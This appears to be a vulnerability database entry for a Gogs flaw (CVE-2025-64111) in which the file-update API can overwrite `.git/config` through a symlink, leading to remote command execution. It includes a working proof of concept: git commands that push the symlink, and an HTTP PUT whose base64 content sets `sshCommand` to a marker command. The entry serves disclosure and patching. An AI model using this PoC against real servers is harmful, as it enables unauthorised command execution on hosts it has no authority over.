Gogs's update .git/config file allows remote command execution
### Summary Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the `.git` directory and achieve remote command execution. ### Details Function `UpdateRepoFile` security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update `.git/config` file via API router. https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206 ### PoC ```bash # add a symlink file and push to repo. ln -s .git/config link git add link git commit -m 'add' && git push ``` Update file via API router ```http PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1 Content-Type: application/json Host: localhost:3000 Authorization: token {token} {"message":"message","committer":{"name":"test","email":"[email protected]"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"} ``` ### Impact RCE
02 / AFFECTED SOFTWARE
Affected packages
63 explicit affected versions
03 / CONNECTIONS
Connected vulnerabilities
04 / EVIDENCE
Source records
Gogs is an open source self-hosted Git service. In version 0.13.3 and prior, due to the insufficient patch for CVE-2024-56731, it's still possible to update files in the .git directory and achieve remote command execution. This issue has been patched in versions 0.13.4 and 0.14.0+dev.
Gogs's update .git/config file allows remote command execution in gogs.io/gogs. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: gogs.io/gogs before v0.13.4.
### Summary Due to the insufficient patch for the https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7, it's still possible to update files in the `.git` directory and achieve remote command execution. ### Details Function `UpdateRepoFile` security check under some if conditions. While UpdateRepoFile call in API router will NOT match any of them. It's still possible to update `.git/config` file via API router. https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206 ### PoC ```bash # add a symlink file and push to repo. ln -s .git/config link git add link git commit -m 'add' && git push ``` Update file via API router ```http PUT /api/v1/repos/demo/vul/contents/link HTTP/1.1 Content-Type: application/json Host: localhost:3000 Authorization: token {token} {"message":"message","committer":{"name":"test","email":"[email protected]"},"content":"W2NvcmVdCglyZXBvc2l0b3J5Zm9ybWF0dmVyc2lvbiA9IDAKCWZpbGVtb2RlID0gdHJ1ZQoJYmFyZSA9IGZhbHNlCglsb2dhbGxyZWZ1cGRhdGVzID0gdHJ1ZQoJaWdub3JlY2FzZSA9IHRydWUKCXByZWNvbXBvc2V1bmljb2RlID0gdHJ1ZQoJc3NoQ29tbWFuZCA9IHRvdWNoIC90bXAvYWJjCltyZW1vdGUgIm9yaWdpbiJdCgl1cmwgPSBzc2g6Ly9naXRAbG9jYWxob3N0L2RlbW8vdnVsLmdpdAoJZmV0Y2ggPSArcmVmcy9oZWFkcy8qOnJlZnMvcmVtb3Rlcy9vcmlnaW4vKgpbYnJhbmNoICJtYXN0ZXIiXQoJcmVtb3RlID0gb3JpZ2luCgltZXJnZSA9IHJlZnMvaGVhZHMvbWFzdGVy"} ``` ### Impact RCE
05 / REFERENCES
Further evidence
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/64xxx/CVE-2025-64111.json
- https://github.com/gogs/gogs/security/advisories/GHSA-gg64-xxr9-qhjp
- https://nvd.nist.gov/vuln/detail/CVE-2025-64111
- https://github.com/gogs/gogs/blob/d940e692ec58abd45e648c054d7dfd88909034ec/internal/route/api/v1/repo/contents.go#L197-L206
- https://github.com/gogs/gogs